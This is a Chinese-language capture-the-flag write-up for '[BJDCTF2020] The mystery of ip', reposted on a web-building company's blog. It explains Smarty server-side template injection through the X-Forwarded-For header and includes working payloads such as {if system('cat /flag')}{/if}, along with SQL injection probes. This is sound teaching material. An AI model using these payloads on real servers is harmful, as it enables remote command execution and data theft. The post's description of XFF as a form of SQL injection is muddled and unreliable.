ARTICLE DETAIL

建站实战干货

来自一线的建站与推广经验沉淀,每一条都经过真实交付验证。

smarty模版 [BJDCTF2020]The mystery of ip 1

2026/9/18 7:45:40 拓冰建站 浏览量
smarty模版 [BJDCTF2020]The mystery of ip 1

打开题目

点击flag给了我们一个ip

点击hint,查看源代码处告诉了我们要利用这个ip

bp抓包,并添加X-Forward-For头

所以这道题是XFF可控

本来联想到XFF漏洞引起的sql注入,但是我们无论输入什么都会正常回显,就联想到ssti注入

我们输入{{7*7}}

发现能够成功执行7*7的算式并返回计算结果为49

{config}来看看配置

我们看到smarty_internal_templatecompilerbase.php

可以看到用的是smarty,Smarty 是一个用于 PHP 的模板引擎

再看看用的版本号

{$smarty.version}

在知道smarty模版可以用php全部的函数和表达式以后,我们执行命令

{if system("ls /")}{/if} 或者直接{{system("ls /")}}

{if system("cat /flag")}{/if}或者直接 {{system("cat /flag")}}

得到flag

知识点:
  • smary模版特性

Smarty 是一个用于 PHP 的模板引擎

输入{$smarty.version},就可以看到返回的Smarty当前版本号

Smarty的{if}条件判断和PHP的if 非常相似,只是增加了一些特性。每个{if}必须有一个配对的{/if}. 也可以使用{else} 和 {elseif}. 全部的PHP条件表达式和函数都可以在if内使用,如*||*, or, &&, and, is_array(), 等等

如 {if phpinfo()}{/if},可以执行phpinfo()

  • XXF漏洞攻击

XFF,是X-Forwarded-for的缩写,属于SQL注入的一种,该注入原理是通过修改X-Forwarded-for头对带入系统的dns进行sql注入,达到欺骗服务器执行恶意的SQL命令的效果,从而可以得到网站的数据库内容。

X-Forwarded-for: 127.0.0.1' and 1=1#    页面正常

X-Forwarded-for: 127.0.0.1' and 1=2#    页面报错

说明存在sql注入漏洞

知识点链接:

Smarty SSTI-CSDN博客

XFF漏洞攻击原理及防御方案 - 知乎